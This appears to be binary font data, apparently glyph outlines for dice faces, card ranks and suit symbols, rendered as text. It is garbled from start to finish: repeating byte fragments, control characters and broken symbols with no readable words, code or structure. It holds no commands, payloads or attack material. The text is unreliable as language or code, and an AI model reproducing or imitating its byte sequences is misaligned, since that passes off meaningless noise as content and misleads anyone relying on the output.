]027EW�-3�E$2Hf3�Џ�,'\eX+M;3*)3P&�F
!;3#!.����	Y_�$���F
!;7!'!%3�	Y���ٍF����%��=�F
!;"4767632"'&'&!'!%30&$I��	Y���ٍ�$$%������%��=�F
!;,048"'&'&4767632"'&'&4767632!'!%3�$$%��$%$�	Y���ٍ?H%$HG������%��=�F
!;+AEIM"'&'&4767632"'&'&476762"'&'&4767632!'!%3�$$%��$H��$%$�	Y���ٍ?H%$	JHHG������%��=�F
!;+AW[_c476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3'H$%$%H��H$%$%H��	Y���ٍ�$J��J%$J%$S$J������%��=�F
!;+AWnrvz476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3'H$%$%H��H$%$%H��&$I��	Y���ٍ�$J��J%$J%$S$J�$$%������%��=	�F
!;*@Ui���"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�$H%$H��J&$UJHJH�~J&$�	Y���ٍRHJ��%$HG$$%$H��GH%$H������%��=�F
!;!476762"'&'&!'!%3�JH��	Y���ٍ�$$%������%��=�F
!;,048476762"'&'&%4767632"'&'&!'!%3�JHd&$I��	Y���ٍ�$$%%$$%������%��=�F
!;,BFJN476762"'&'&"'&'&4767632"'&'&4767632!'!%3�JH�$$%��$%$�	Y���ٍ�$$%��H%$HG������%��=�F
!;,AW[_c476762"'&'&"'&'&4767632"'&'&476762"'&'&4767632!'!%3�JH�$$%��$H��$%$�	Y���ٍ�$$%��H%$	JHHG������%��=�F
!;+AWmquy476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��	Y���ٍ�$$%.$J��J%$J%$S$J������%��=	�F
!;+AWm����476762"'&'&476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3�JH]H$%$%H��H$%$%H��&$I��	Y���ٍ�$$%.$J��J%$J%$S$J�$$%������%��=
�F
!;*@Vk����476762"'&'&%"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3�JH�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�$$%�HJ��%$HG$$%$H��GH%$H������%��=�F
!;+/37"'&'&4767632"'&'&5476762!'!%3rJ%$��$J�m	Y���ٍ@H$%$%H������%��=�F
!;"8N4767632"'&'&!'!%3"'&'&4767632"'&'&54767620&$I��	Y���ٍ��J%$��$J�$$%������%��=H$%$%H�F
!;,048Nd"'&'&4767632"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$%$�	Y���ٍ��J%$��$J?H%$HG������%��=H$%$%H�F
!;+AEIMcy"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&4767632"'&'&5476762�$$%��$H��$%$�	Y���ٍ��J%$��$J?H%$	JHHG������%��=H$%$%H	�F
!;)>SW[_t�476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3"'&'&4767632"'&'&476762'HIIH��HIIH��	Y���ٍ��I%$��$I�$I��I%$I%$S$I������%��=HIIH
�F
!;+AWnrvz��476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&4767632"'&'&5476762'H$%$%H��H$%$%H��&$I��	Y���ٍ��J%$��$J�$J��J%$J%$S$J�$$%������%��=H$%$%H�F
!;*@Ui�����"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&4767632"'&'&5476762�$H%$H��J&$UJHJH�~J&$�	Y���ٍ��J%$��$JRHJ��%$HG$$%$H��GH%$H������%��=H$%$%H�F
!;+AEIM"'&'&4767632%"'&'&4767632"'&'&5476762!'!%3rJ%$��$$%��$J�m	Y���ٍ@H$%�JI	$%H������%��=�F
!;+AX\`d"'&'&4767632%"'&'&4767632"'&'&54767624767632"'&'&!'!%3rJ%$��$$%��$J�&$I��	Y���ٍ@H$%�JI	$%H�$$%������%��=�F
!;+AXnrvz"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$%$�	Y���ٍ@H$%�JI	$%H��H%$HG������%��=	�F
!;+AXm����"'&'&4767632%"'&'&4767632"'&'&5476762"'&'&4767632"'&'&476762"'&'&4767632!'!%3rJ%$��$$%��$JV$$%��$H��$%$�	Y���ٍ@H$%�JI	$%H��H%$	JHHG������%��=
�F
!;+AWm�����"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J������%��=�F
!;+AWm������"'&'&4767632%"'&'&4767632"'&'&5476762%476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3rJ%$��$$%��$J�H$%$%H��H$%$%H��&$I��	Y���ٍ@H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�F
!;+AVl�������"'&'&4767632%"'&'&4767632"'&'&5476762!"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3rJ%$��$$%��$JI$H%$H��J&$UJHJH�~J&$�	Y���ٍ@H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�F
!;)>SW[_476762"'&'&476762"'&'$476762"'&'476762"'&'&!'!%3�HIIH��HIIH��	Y���ٍ�$I��I%$I%$S$I������%��=�F
!;!6K`u4767632"'&'&!'!%3476762"'&'&476762"'&'$476762"'&'476762"'&'&0&$I��	Y���ٍ�HIIH��HIIH�$I������%��=m$I��I%$I%$S$I	�F
!;,048Ndz�"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$HG������%��=m$J��J%$J%$S$J
�F
!;+AEIMcy��"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H?H%$	JHHG������%��=m$J��J%$J%$S$J�F
!;+AW[_cy���476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�F
!;+AWnrvz����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J
�F
!;*@Ui�������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%HRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�F
!;!7Mcy7!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�	Y���ٍ�H$%$%H��H$%$%H��JHF����%��=m$J��J%$J%$S$J�$$%	�F
!;"8Ndz�4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&0&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$$%������%��=m$J��J%$J%$S$J�$$%
�F
!;,048Ndz��"'&'&4767632"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$HG������%��=m$J��J%$J%$S$J�$$%�F
!;+AEIMcy���"'&'&4767632"'&'&476762"'&'&4767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$$%��$H��$%$�	Y���ٍ�H$%$%H��H$%$%H��JH?H%$	JHHG������%��=m$J��J%$J%$S$J�$$%�F
!;+AW[_cy����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%
�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&'H$%$%H��H$%$%H��&$I��	Y���ٍ�H$%$%H��H$%$%H��JH�$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&476762"'&'&�$H%$H��J&$UJHJH�~J&$�	Y���ٍ�H$%$%H��H$%$%H��JHRHJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%	�F
!;":Pf|�7!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$F����%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;"9Qg}��4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&547676320&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;,048Og}���"'&'&4767632"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;+AEIMd|����"'&'&4767632"'&'&476762"'&'&4767632!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632�$$%��$H��$%$�	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$?H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H
�F
!;+AW[_cz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;+AWnrvz�����476762#"'&'&4767632"'&'$476762#"'&'4767632"'&'&4767632"'&'&!'!%3"'&'&54767632"'&'&54767632 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632'H$%$%H��H$%$%H��&$I��	Y���ٍ��$$%%$$%��J%$0$H%$H��J%$�$J��J%$J%$S$J�$$%������%��=�%$J��&$$%H$%$%H��H$%$%H�F
!;*@Ui��������"'&'&476762"'&'&5476762 "'&'&4767632"'&'&'476762"'&'.76762"'&'&54767632!'!%3"'&'&5476762"'&'&5476762 "'&'&4767632"'&'.76762"'&'.76762"'&'&4767632�$H%$H��I&$UIHIH�}I&$�	Y���ٍ��$I%$I��I%$0$H%$H��I%$RHI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH��m!5!!��$����f����m!!7!!!!�����%��=m���?�'���m"2#"'&'&47676!!7!!!!E$$%������%��=&$Ih���?�'���m+/37476762#"'&'&476762"'&'&!!7!!!!�H%$HG������%��=|$I;$%$����?�'���m+AEIM476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H%$	JHHG������%��=|$$%2$H.$%$����?�'���m+AW[_c2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!N$J��J%$J%$S$J������%��=H$%��$%H"H$%��$%Hq���?�'���m+AWnrvz2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!N$J��J%$J%$S$J�$$%������%��=H$%��$%H"H$%��$%H	&$Ih���?�'�	��m*@Ui���%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�HJ��%$HG$$%$H��GH%$H������%��=�$H%$H3J&$��JHJH�J&$��?�'���m!2#"'&'&47676!!7!!!!E$$%������%��=kJH���?�'���m,0482#"'&'&476762#"'&'&47676!!7!!!!E$$%%$$%������%��=iJH��&$Ih���?�'���m,BFJN2#"'&'&47676476762#"'&'&476762"'&'&!!7!!!!E$$%��H%$HG������%��=kJH�$$%;$%$����?�'���m,AW[_c2#"'&'&47676476762#"'&'&476762"'&'&476762"'&'&!!7!!!!E$$%��H%$	JHHG������%��=kJH�$$%2$H.$%$����?�'���m+AWmquy2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J������%��=kJH��H$%��$%H"H$%��$%Hq���?�'�	��m+AWm����2#"'&'&476762"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!E$$%.$J��J%$J%$S$J�$$%������%��=kJH��H$%��$%H"H$%��$%H	&$Ih���?�'�
��m*@Vk����2#"'&'&47676476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!E$$%�HJ��%$HG$$%$H��GH%$H������%��=kJH�&$H%$H3J&$��JHJH�J&$��?�'���m+/37476762#"'&'4767632"'&'&!!7!!!!�H$%$%H������%��=�J%$S$J����?�'���m"8N2#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&E$$%������%��=H$%$%H&$Ih���?�'�IJ%$S$J��m,048Nd476762#"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$HG������%��=H$%$%H|$$%;$%$����?�'�IJ%$S$J��m+AEIMcy476762#"'&'&476762"'&'&476762"'&'&!!7!!!!476762#"'&'4767632"'&'&�H%$	JHHG������%��=H$%$%H|$$%2$H.$%$����?�'�IJ%$S$J	��m+AW[_cy�2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J������%��=H$%$%HH$%��$%H"H$%��$%Hq���?�'�IJ%$S$J
��m+AWnrvz��2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!476762#"'&'4767632"'&'&N$J��J%$J%$S$J�$$%������%��=H$%$%HH$%��$%H"H$%��$%H	&$Ih���?�'�IJ%$S$J��m*@Ui�����%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!476762#"'&'4767632"'&'&�HJ��%$HG$$%$H��GH%$H������%��=H$%$%H�$H%$H3J&$��JHJH�J&$��?�'�IJ%$S$J��m+AEIM476762#"'&'476762"'&'&4767632"'&'&!!7!!!!�H$%�JI	$%H������%��=�J%$J$$%.$J����?�'���m+AX\`d476762#"'&'476762"'&'&4767632"'&'&2#"'&'&47676!!7!!!!�H$%�JI	$%H�$$%������%��=�J%$J$$%.$J�+&$Ih���?�'���m+AXnrvz476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$HG������%��=�J%$J$$%.$J��$$%;$%$����?�'�	��m+AXm����476762#"'&'476762"'&'&4767632"'&'&476762#"'&'&476762"'&'&476762"'&'&!!7!!!!�H$%�JI	$%H��H%$	JHHG������%��=�J%$J$$%.$J��$$%2$H.$%$����?�'�
��m+AWm�����476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%Hq���?�'���m+AWm������476762#"'&'476762"'&'&4767632"'&'&2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!�H$%�JI	$%Hz$J��J%$J%$S$J�$$%������%��=�J%$J$$%.$J�4H$%��$%H"H$%��$%H	&$Ih���?�'���m+AVl�������476762#"'&'476762"'&'&4767632"'&'&476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!�H$%�JI	$%HHJ��%$HG$$%$H��GH%$H������%��=�J%$J$$%.$J��$H%$H3J&$��JHJH�J&$��?�'���m)>SW[_2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676!!7!!!!N$I��I%$I%$S$I������%��=tHI��IH"HI��IH���?�'���m!6K`u2"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676E$I������%��=m$I��I%$I%$S$I&$Ih���?�'��HI��IH"HI��IH	��m,048Ndz�476762#"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$HG������%��=m$J��J%$J%$S$J|$$%;$%$����?�'��H$%��$%H"H$%��$%H
��m+AEIMcy��476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H��m+AW[_cy���2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$JH$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H��m)>Simqu����2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&47676N$I��I%$I%$S$I�$I������%��=m$I��I%$I%$S$IHI��IH"HI��IH	&$Ih���?�'��HI��IH"HI��IH
��m*@Ui�������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H��m!7Mcy!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�����%��=m$J��J%$J%$S$J�$$%m���?�'��H$%��$%H"H$%��$%H	JH	��m"8Ndz�2#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676E$$%������%��=m$J��J%$J%$S$J�$$%&$Ih���?�'��H$%��$%H"H$%��$%H	JH
��m+/37Lav��476762#"'&'&476762"'&'&!!7!!!!2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676�H%$HG������%��=m$I��I%$I%$S$I�$I|$I;$%$����?�'��HI��IH"HI��IH	JH��m+AEIMcy���476762#"'&'&476762"'&'&476762"'&'&!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�H%$	JHHG������%��=m$J��J%$J%$S$J�$$%|$$%2$H.$%$����?�'��H$%��$%H"H$%��$%H	JH��m+AW[_cy����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%Hq���?�'��H$%��$%H"H$%��$%H	JH
��m+AWnrvz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676N$J��J%$J%$S$J�$$%������%��=m$J��J%$J%$S$J�$$%H$%��$%H"H$%��$%H	&$Ih���?�'��H$%��$%H"H$%��$%H	JH��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&476762#"'&'&47676�HJ��%$HG$$%$H��GH%$H������%��=m$J��J%$J%$S$J�$$%�$H%$H3J&$��JHJH�J&$��?�'��H$%��$%H"H$%��$%H	JH	��m":Pf|�!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�����%��=�%$J��&$$%H$%$%H��H$%$%Hm���?�'�|$$%%$$%3J%$��$H%$HkJ%$
��m"9Qg}��2#"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'E$$%������%��=�%$J��&$$%H$%$%H��H$%$%H&$Ih���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m,048Og}���476762#"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$HG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%;$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$��m+AEIMd|����476762#"'&'&476762"'&'&476762"'&'&!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'�H%$	JHHG������%��=�%$J��&$$%H$%$%H��H$%$%H|$$%2$H.$%$����?�'�|$$%%$$%3J%$��$H%$HkJ%$
��m+AW[_cz�����2"'&'&5476762#"'&'&47672#"'&'&547672"'&'&47676!!7!!!!4767632"'&'&%4767632#"'&'&476762"'&'4767672"'&'&%4767>#"'&'&4767632'&'N$J��J%$J%$S$J������%��=�%$J��&$$%H$%$%H��H$%$%HH$%��$%H"H$%��$%Hq���?�'�|$$%%$$%3J%$��$H%$HkJ%$��m)>Simqu������2"'&'&476762#"'&'&47672#"'&'&47672"'&'&476762"'&'&47676!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'N$I��I%$I%$S$I�$I������%��=�%$I��&$IHIIH��HIIHHI��IH"HI��IH	&$Ih���?�'�|$I%$I4I%$��$H%$HlI%$��m*@Ui��������%476762"'&'&%4767632"'&'&476762"'&'4767672"'&'$4767>"'&'4767632'&'!!7!!!!4767632"'&'&%4767632"'&'&476762'&'4767>"'&'&%4767>"'&'&476762'&'�HI��%$HG$$%$H��GH%$H������%��=�%$I��&$IHIIH��HIIH�$H%$H4I&$��IHIH�I&$��?�'�|$I%$I4I%$��$H%$HlI%$�gm"3!254#%!2#!"54!�xx�xx�A���A�,G�x��xxyxx���y�����gm$03;#"'##65##"5476"3!254#%!2#!"54!3#'!#�A;	�lB;�;Bl�	;�"xx�xx�A���A�K�Қ �D��D�y�~&%N��kk̛�N%&�Vx��xxyxx���y�U�����gm$0I#"'##65##"5476"3!254#%!2#!"54!!56754&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A�����"?XhU4zHM�9����8y�~&%N��kk̛�N%&�Vx��xxyxx���y�?rn81^BQ##{�l���0�gm$0Y#"'##65##"5476"3!254#%!2#!"54#"&'532654&+532654&#"5>32�A;	�lB;�;Bl�	;�"xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Zy�~&%N��kk̛�N%&�Vx��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm$03>#"'##65##"5476"3!254#%!2#!"54	!33##5!5�A;	�lB;�;Bl�	;�"xx�xx�A���A����5�����by�~&%N��kk̛�N%&�Vx��xxyxx���y�]��m��y�gm$0Q#"'##65##"5476"3!254#%!2#!"54!!67632#"&'53264&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6y�~&%N��kk̛�N%&�Vx��xxyxx���y��_�	ML��KJq
f�f�gm$0@`#"'##65##"5476"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�A;	�lB;�;Bl�	;�"xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122y�~&%N��kk̛�N%&�Vx��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm$07#"'##65##"5476"3!254#%!2#!"54!#!�A;	�lB;�;Bl�	;�"xx�xx�A���A��i���H�3y�~&%N��kk̛�N%&�Vx��xxyxx���y��0����gm$0=[j#"'##65##"5476"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�A;	�lB;�;Bl�	;�"xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/y�~&%N��kk̛�N%&�Vx��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm$0P_#"'##65##"5476"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�A;	�lB;�;Bl�	;�"xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443y�~&%N��kk̛�N%&�Vx��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm$0>JQ#"'##65##"5476"3!254#%!2#!"54"27654/2#"&546573�A;	�lB;�;Bl�	;�"xx�xx�A���A��2332�233y��������t���y�~&%N��kk̛�N%&�Vx��xxyxx���y��VV��VVVV��V�����������)t'���gm$0=#"'##65##"5476"3!254#%!2#!"543+53265�A;	�lB;�;Bl�	;�"xx�xx�A���A��A@�1(TFy�~&%N��kk̛�N%&�Vx��xxyxx���y��ܕFE`Tl�gm$0J#"'##65##"5476"3!254#%!2#!"54#"&54632.#"3267�A;	�lB;�;Bl�	;�"xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.y�~&%N��kk̛�N%&�Vx��xxyxx���y������t"$����$"�gm4@L"#"&54632&#"32#"'##65##"5476"3!254#%!2#!"54�������VX~_
Ua`UU`a�A;	�lB;�;Bl�	;�"xx�xx�A���A�,�����ۥ�(j8�p�����ny�~&%N��kk̛�N%&�Vx��xxyxx���y��gm$0;#"'##65##"5476"3!254#%!2#!"5433	##�A;	�lB;�;Bl�	;�"xx�xx�A���A��j��i���xy�~&%N��kk̛�N%&�Vx��xxyxx���y��a�z�B��m�gm!-0867632	&547632"3!254#%!2#!"54!3#'!#�7>T�>}���}?�V<7�xx�xx�A���A�K�Қ �D��D��v>G�-;���n���;-�GA�x��xxyxx���y�U�����gm!-F67632	&547632"3!254#%!2#!"54!!56754&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A�����"?XhU4zHM�9����8�v>G�-;���n���;-�GA�x��xxyxx���y�?rn81^BQ##{�l���0�gm!-V67632	&547632"3!254#%!2#!"54#"&'532654&+532654&#"5>32�7>T�>}���}?�V<7�xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z�v>G�-;���n���;-�GA�x��xxyxx���y�mR|�yOFJLl?<:=svcE`�gm!-0;67632	&547632"3!254#%!2#!"54	!33##5!5�7>T�>}���}?�V<7�xx�xx�A���A����5�����b�v>G�-;���n���;-�GA�x��xxyxx���y�]��m��y�gm!-N67632	&547632"3!254#%!2#!"54!!67632#"&'53264&#"�7>T�>}���}?�V<7�xx�xx�A���A���y�^^a`�<~B9>>Eo��o4h6�v>G�-;���n���;-�GA�x��xxyxx���y��_�	ML��KJq
f�f�gm!-=]67632	&547632"3!254#%!2#!"54"327654'&&'&#"67632#"&547632�7>T�>}���}?�V<7�xx�xx�A���A�GX3333XW3333�1221�DD
&9:D�TTXW���ll�122�v>G�-;���n���;-�GA�x��xxyxx���y�45[Z4554Z[54bg
KL�1LM�ON���uv	�gm!-467632	&547632"3!254#%!2#!"54!#!�7>T�>}���}?�V<7�xx�xx�A���A��i���H�3�v>G�-;���n���;-�GA�x��xxyxx���y��0����gm!-:Xg67632	&547632"3!254#%!2#!"54"32764'%&'&546 #"'&54767327654'&"�7>T�>}���}?�V<7�xx�xx�A���A���55j]\655��T./�RQ./SZ85UV��UV56-/.UQ100/�0/�v>G�-;���n���;-�GA�x��xxyxx���y�[,+KLV,+�+]12Hdt::dJ01:7PyAAAAyN98�?&%%$A?&%%$�gm!-M\67632	&547632"3!254#%!2#!"54532767#"&547632#"'&2654'&#"�7>T�>}���}?�V<7�xx�xx�A���A�.1220�DC
#<9E��WX��WXkl�122�Xf33XU5443�v>G�-;���n���;-�GA�x��xxyxx���y��g
KK�/���MNoo��uv	rh\Z4554Z\44�gm!-;GN67632	&547632"3!254#%!2#!"54"27654/2#"&546573�7>T�>}���}?�V<7�xx�xx�A���A��2332�233y��������t����v>G�-;���n���;-�GA�x��xxyxx���y��VV��VVVV��V�����������)t'���gm!-:67632	&547632"3!254#%!2#!"543+53265�7>T�>}���}?�V<7�xx�xx�A���A��A@�1(TF�v>G�-;���n���;-�GA�x��xxyxx���y��ܕFE`Tl�gm!-G67632	&547632"3!254#%!2#!"54#"&54632.#"3267�7>T�>}���}?�V<7�xx�xx�A���A�<1e9��ɴ9f0/j6||{}7j.�v>G�-;���n���;-�GA�x��xxyxx���y������t"$����$"�xm1=I"#"&54632&#"3267632	&547632"3!254#%!2#!"54�������VX~_
Ua`UU`a�7>T�>}���}?�V<7�xx�xx�A���A�,�����ۥ�(j8�p������0v>G�-;���n���;-�GA�x��xxyxx���y��gm!-867632	&547632"3!254#%!2#!"5433	##�7>T�>}���}?�V<7�xx�xx�A���A��j��i���x�v>G�-;���n���;-�GA�x��xxyxx���y��a�z�B��m�gm!)0	00"3!254#%!2#!"54!3#'!#���h�f��xx�xx�A���A�K�Қ �D��D����
x��xxyxx���y�U�����gm70	00"3!254#%!2#!"54!!56754&#"5>32���h�f��xx�xx�A���A�����"?XhU4zHM�9����8���
x��xxyxx���y�?rn81^BQ##{�l���0�gmG0	00"3!254#%!2#!"54#"&'532654&+532654&#"5>32���h�f��xx�xx�A���A��\e��9}F4wCmxolV^^ad_(fQI�7��Z���
